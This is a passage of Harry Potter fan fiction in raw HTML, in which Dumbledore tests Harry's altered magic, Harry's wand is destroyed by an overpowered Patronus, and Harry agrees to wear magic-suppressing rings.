color="Black">Dumbledore nodded. &#8220;Yes, he would be able to do so. But that would be in a normal situation. In any other place but this. You see, Harry, this room was designed with the very purpose to block all magical signatures from reaching the outside world. While you are here the Dark Lord will not be able to feel you. For all purposes he is magically blind to the spells cast with your wand.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded, somewhat relieved. His hand closed upon the long shiny piece of wood, immediately feeling the connection, like a spark of happiness running through his body. He was feeling more than happy to be able to hold his wand again. It was warm between his fingers, the polished surface </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">of the wand feeling like silk to him.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;What do I have to do?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore blinked before laughing &#8220;Well, to be honest, I hadn\'t thought about that.&#8221; he paused, his blue eyes looking intently at Harry. &#8220;I suppose we should start simple... what about the Wingardium Leviosa charm? Pretty basic.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Leviosa... right...&#8221; he looked around. &#8220;Problem is, I have nothing to levitate, professor.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore looked sheepish even as he slapped his forehead. &#8220;Silly me, must be getting on years...&#8221; His hand moved to one of his pockets and withdrew a lemon drop candy from it. He carefully set it on the ground and pointed his own wand at it, transmuting it to a small chair.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;There, all set and ready. Try to levitate it Harry.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry nodded and pointing his wand towards the small wooden chair said the incantation clearly as he had heard Hermione explain so long ago.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><i>&#8220;Wingardium Leviosa!&#8221;</i></font><font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Answering to the command the chair shone silver for a moment before levitating as it was expected.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore seemed to be relieved by that and neared the floating piece of furniture &#8220;Well, it seems that...&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Suddenly the chair started to tremble and vibrate, the silvery glow reappearing and expanding.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore quickly looked at Harry who was holding the wand, seemingly unable to move. Then, all at once, the chair exploded into hundreds of shards just as Harry wrenched his wand aside, the tip of it leaving a trail of white light on its passage.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Albus, who had dived to the ground as soon as he realized what was happening, quickly reached Harry\'s prone form, his worry fading immediately as he saw Harry rise up.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Harry, what happened?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry looked at his wand before facing Dumbledore.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;I-I don\'t know. First everything seemed fine enough, but when I wanted to stop the charm I found it nearly impossible... it was as though the Priori Incantatem had occurred again, my wand vibrating and I unable to do anything about it. I don\'t understand it.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Still his green eyes looked at the old headmaster with a silent question that Dumbledore was unable to forsake.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;I have some theories - vague ideas, really. Harry, I would ask you to perform other spells but keep in mind that they could damage your wand, maybe too much. The decision is yours.&#8221; He paused. &#8220;But if it would calm you, I can already tell you that your magic is there, yours and unmovable and yet... changed.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;What do you mean, professor?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;As I have told you, Lily agreed to bear you. Now, any magic that could be within you before was undetectable. In fact there was a reasonable possibility that your race had no magic power to speak of. But then magic interfered. I don\'t know what happened, but it can very well be that the months that you passed within Lily awoke the possibility of magic in you.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Who knows? Magic is a force that we can use to give form to our whims but we do not know explicitly that it doesn\'t lack some consciousness of its own... Lily and James refused to have you magically tested as it is standard with every child born in a house of wizards, so we can only </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">guess. But something happened that must have tipped the odds to your favor...&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">With a sudden clarity that was alien to Harry, he understood what Dumbledore was referring to, his green eyes lit with understanding.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Voldemort!&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Albus nodded. &#8220;Indeed the transfer of his abilities when he tried to kill you must have made you awake to the wonder of magic. But with the Killing Curse wrecking havoc in your body, its power was relative to your own focus. But now as your body becomes stronger your magic is also becoming </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">stronger.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;How much stronger?&#8221; asked Harry in an unsteady voice.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore sighed. &#8220;I really don\'t know, Harry. Remember this is but a theory, and as such can be wrong. We will need to discover it with time, but I suspect that your body will allow you to perform magic without the need of a wand. The real question is if you will be able to continue using a </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">wand as you did until now.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Why? I mean, you need a wand to perform most magic, right?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;That\'s true but it\'s not the whole truth. Magic without a wand can be done, of course, but seems to lack real power or cohesion. Also the magic tends to grow unstable in its wandless form so if one was to cast a spell without a wand, if he could cast it to start with, the effects could go from nothing at all to results quite different from what we expect.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;To make it work, one would need a will of steel to shape the raw magic that would fight to go wild. That without forgetting the possible damage the body risks in such a task. Now there\'s a level of magic that can be done without the support of a wand, but compared to the complexity of most potent </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">charms it leaves something to be desired.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Now as you know, there are magical creatures that can produce effects not unlike the spells, charms and curses that we use. Take the tears of the phoenix for instance. They can heal with astonishing strength and not even the most skilled master brewers such as Severus can come up with a </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">potion that can emulate the effects of the tears... They can make some potions of similar restorative power, yes, but they would be dangerous, lacking the safety the phoenix tears has by nature.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Phoenixes, like our friend Fawkes, and other mystical creatures of our small world are able to &#8220;use&#8221; magic without needing a wand... it is more than likely that their bodies are somehow conditioned to serve as channels for the energy, the primeval force, that is magic. As such it is a part of them, not unlike wizards but to a more greater degree.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;But, as interesting as this is, sir,&#8221;-and it was- Harry had been engrossed by Dumbledore\'s dissertation and not for the first time wished to have the headmaster as a professor. &#8220;Why do you think that I will be able to do wandless magic?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore stroked his beard, his face pensive. &#8220;Several things induce me to think so, Harry. For one, your magic\'s strength has grown to the point that I can feel it when you are feeling powerful emotions, like anger. Then your body is proving to be way more resilient than that of any wizard or Muggle.&#8221; </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Finally I know the potential of your mind, of its power - which allowed you to perform a Patronus. That, for a student of third year, is quite an achievement. I have known older wizards who had trouble performing the charm, being barely able to form a silvery mist.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore clapped his hands together.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Still, before we try that, let\'s see if you can still use the wand. Previously, we spoke of the Patronus, Harry. It is a powerful enough charm to see if the wand can hold down the surge of magic coming from you.&#8221; he paused, doubtful. &#8220;That is if you want to do it, Harry.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry looked at the wand in his now bigger hands. So many adventures with it, so many close calls that he wouldn\'t have survived if not for those eleven inches of wood and a single phoenix feather. He would feel incomplete without it, that was for sure, but...</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">But Harry had come to an understanding within himself, a sort of epiphany that left him with a bittersweet taste in his mind. He was at a turning point of his life and he couldn\'t afford to be distracted - neither by what hadn\'t a solution, like his change, nor by what had a solution, like </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">the possible loss of his wand... He was starting to see the events of the last days beyond the troubles it brought him but instead in the advantages it could bring him.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">That didn\'t mean he was happy about it. Quite the contrary. It still made his blood boil and enraged his mind knowing that he would forever be set apart from the rest of humanity - that along with a dozen more reasons that he preferred to not contemplate.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He wasn\'t ready to do so.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Not yet.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">As for now, he had been asked to perform something that may cost him his one of his most precious possessions - what had made him a wizard nearly five years ago.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Breathing deeply he looked at Dumbledore.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">There was no question.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;I\'ll do it.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The look of proud affection that Dumbledre bestowed upon him was almost enough for Harry to forget that he was risking his wand.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore\'s affection was priceless.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"><i>&#8220;Expecto Patronum!&#8221;</i></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">From the wand a blast of silvery light came forth, more powerful than ever, easily dwarfing the Patronus that had driven off all those Dementors back in his third year. Scorching the ground with its power it impacted against the wall, a stream of unending light and raging ferocity.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry gritted his teeth, feeling the power summoned by his charm go wild, the room filling with ethereal light even as his wand vibrated crazily. Harry could feel it warming and see the smoke that was starting to rise from its wooden parts.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">But what was infinitely worse was the sound of cracking wood that reached his ears even with the Patronus racing from the wand.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry dropped the wand as he dove for cover. It remained there, in mid air, instead of falling to the ground even as the web of cracks grew in number, letting rays of silver light free, chasing the shadows from the room. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Finally after what seemed like an eternity, but were mere seconds, the wand exploded, silver turning to red and expanding in an all-encompassing circle as the wood disintegrated, not leaving even splinters.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">A single, gleaming phoenix feather remained for Harry and Dumbledore to see. It slowly descended, floating like an autumn leaf, falling softly before touching the ground where it remained shining gently, its red and gold colors seeming so alive, more with the air filled of the remaining of </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry\'s Patronus, dots of silvery light descending gently like pure, pure snow.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">At first Harry felt only shock. His mind was having problems accepting what had happened. He looked up at Dumbledore in search of something, something he wasn\'t sure of... but found what he was searching for missing. The old wizard seemed as much in shock as he was but Harry doubted it was due to the same reason.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Slowly, ever so slowly, he neared the golden-red plume and, with a care so reverent that it was as if the feather was about to fade, Harry picked it up, cradling it between his hands. He knew he should be crying for the loss, that he should be shouting in a mindless roar but somehow, holding the magic element that was the core of his wand made him feel better. Not alone, not as if he had lost something precious in a pointless demonstration.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">It was with gratitude that he felt Dumbledore\'s wand press softly against the back of his head, just before a soft voice spoke and he was sent into an oblivious sleep state, the warmth coming from the feather never leaving him, even in the darkness.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">---------------------------------------</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry slowly blinked as he returned to consciousness.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">His hand tightened upon the blanket that was covering him as he took in his surroundings.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">He was back in Dumbledore\'s office and was lying on one of the sofas in the room, the fire moving gently as it warmed the room. Dumbledore was writing something with a golden quill, his attention fixated on his work, not noticing that Harry was awake until he made a significant noise which drew the headmaster\'s gaze to him.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Kindly, Dumbledore smiled. &#8220;How are you feeling, Harry?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry looked at his hands, an expression of sadness upon his face. It was with slight surprise that he felt a weight settle upon his legs. A quick look told him what he suspected; Fawkes had chosen him as a pillow once again. The magical bird was looking at him, its small dark eyes filed with sadness.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Sorry, Fawkes.&#8221; He muttered softly. Then he turned to look back at the headmaster and gave the only answer he could give.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Lousy.&#8221; A single word conveying a hundred meanings.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore nodded. &#8220;I see.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Those simple words said, Albus paused, wondering if he was right to do what he was about to propose to the young wizard. Most wizards wouldn\'t. And yet Harry had demonstrated time and time again that he wasn\'t a normal wizard. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Placing his papers into one of his desk\'s drawers, Dumbledore spoke a single word that was enough to rouse the boy out of his brooding mood.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Harry.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Said teenager looked up at Dumbledore, his expression dark. Sighing, Albus drew from one of the numerous drawers of his desk a middle sized box, the sides of it made of black wood decorated with thin lines of gold. </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Opening it, he drew forth three rings of the same size, less than a foot in diameter, made of a dark metal that Harry didn\'t recognize. It didn\'t reflect the light of the room and in fact seemed to be drinking in any illumination around it.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Carefully Dumbledore placed them on his desk, one near the others, each touching the other, their dark color easily spotted even against the deep brown wood of the headmaster\'s desk.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry\'s attention was aroused. He neared the desk after setting the blanket aside and allowing Fawkes to return to its perch. His eyes took in the dark rings, before looking back at the headmaster.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Dumbledore spoke without hearing the question in Harry\'s mind, his blue eyes looking at the young wizard carefully, waiting for the reaction that was to come.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;After what happened with your wand, Harry, it\'s clear that you are way too powerful. Too powerful to use a normal wand. During their lives, and especially in their puberty, most wizards pass through such growths of magical power and abilities but never to the point of making a wand explode.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Sighing tiredly, Dumbledore closed his eyes. &#8220;That can only mean that your magic has grown to such levels that we have to use extreme caution, at least until you manage to control it. To complicate things, if your abilities are still growing; if you are becoming stronger and stronger, then it\'s </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">reasonable to believe that your magic is becoming stronger too.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;How much time does this... magic growth take?&#8221; Harry\'s voice was soft, but at least it didn\'t sound as bitter as before. Opening his eyes, Albus noticed that Harry was still looking at the rings.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;The magical growth lasts several years but you can think of it as a mountain, starting about when the wizard is ten years old and stretching until he or she reaches the mid twenties, sometime later depending on the wizard or witch.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;The magical growing spur reaches its peaks just as when the teenager wizard is between sixteen and eighteen years old. Later on, through studying, rituals or exercise, he can see his powers grow.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Still looking at the rings Harry spoke, almost too low for Dumbledore to hear. &#8220;Will it be the same with me? How does my magic work?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The headmaster\'s voice was soft and compassionate... but still harsh with the truth. &#8220;I don\'t know, Harry. But what I do know is that, sadly enough, without you being able to control that growth in your magical powers you can become even more dangerous to those around you than you already are.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Finally Harry looked at the older wizard, the expression on his face unreadable. &#8220; Now what?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Leaning back in his seat, Dumbledore gestured towards the rings, Harry\'s attention moved, shifting back to the trio of rings.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;The only thing we can do. Those rings that you are looking at are made of a special metal that blocks the magic of any wizard or witch that wears them. Before the Dementors were used to guard Azkaban, these rings were used as a way to control the prisoners. But as they kept their mind and cunning </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">the Ministry soon used other means to control those who were too dangerous... Thus they started using those soul sucking monsters that no wizard should trust.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Picking one of the rings up Harry looked at it closely, noticing the seams in the metal.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;How do they work?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Smiling thinly, Dumbledore shook his head. &#8220;That would take too much time to explain... It would suffice to say that it prevents the external use of magic, all the while lowering the magical defenses one has, making it easier to control those who wear them.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Magic defense?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The headmaster nodded. &#8220;That\'s it, Harry. While normally not powerful enough to block or negate the effects of charms and curses, each magically sensitive being has a certain level of defense against magic, but as raising those defenses take a respectable amount of time, most wizards forsake them.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;That makes sense, I suppose.&#8221; said Harry, looking dubious at best. Why wouldn\'t people want to raise their defenses?</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;Returning to the rings, one is worn around the neck and the other two on the wrists, but no sane wizard would want to wear them, as it is seen as a sign of shame. Most would see this as choosing to become Muggle. No wizard can stand wearing them too long as the desire to summon the magic that </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">they feel, but are unable to use, is ever present.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry\'s eyes narrowed. &#8220;You want me to wear them. Is that it?&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">The old wizard nodded. &#8220;It\'s the only way, I\'m afraid, Harry. With your power being so vast, there is no other way. But it\'s still your decision to put them on. I will not force it on you.&#8221;</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry raised the ring up to eye level, looking at it intently as his fingers moved upon its smooth length.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Then with a shuddering breath, he pulled the seams apart, being careful not to break it as he felt he could do without any problem. He moved it to his neck and closing his eyes, put it upon his neck.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">With a dry click the ring closed. His fingers hooked around it, as it was still loose enough for that, and gave a slight pull, testing the feeling of the magic-inhibiting metal against the over-sensitive skin of his neck. It was a rather pleasant feeling so far and still he could feel the increase in his heart rate.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Swallowing, his hand moved towards the second ring and with the same care as with the first, he snapped it around his left wrist. That done, he moved on to the third and last and with a deep breath, closed it.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">As one the dark metal of the three rings shone, gaining color until it was bright red. The metal started to vibrate even as it reduced in size, tightening around his neck and wrists. For a while more the metal </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">glowed and vibrated, fighting to seal off Harry\'s power.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Finally, after what seemed an eternity, the rings lost their gleam and stopped moving.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">As soon as that happened, Harry felt as if something was restricting him, or a part of him, limiting it. He could feel his magic still, maybe even stronger and more clearly than before, and what\'s more, ever-growing... </font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">But he could also feel the binds that had been placed upon his power, restraining it. Somehow, that filled him with regret and sadness.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry looked at Dumbledore, the old wizard seemed older somehow but that impression soon disappeared. The sadness that he could feel in those blue eyes remained, however.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">&#8220;How are you feeling, Harry?&#8221; he asked quietly.</font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black"></font>\n\n</p>\n\n<p>\n\n</p><p>\n\n<font color="Black">Harry remained as quiet as he gave the headmaster of his school a blank 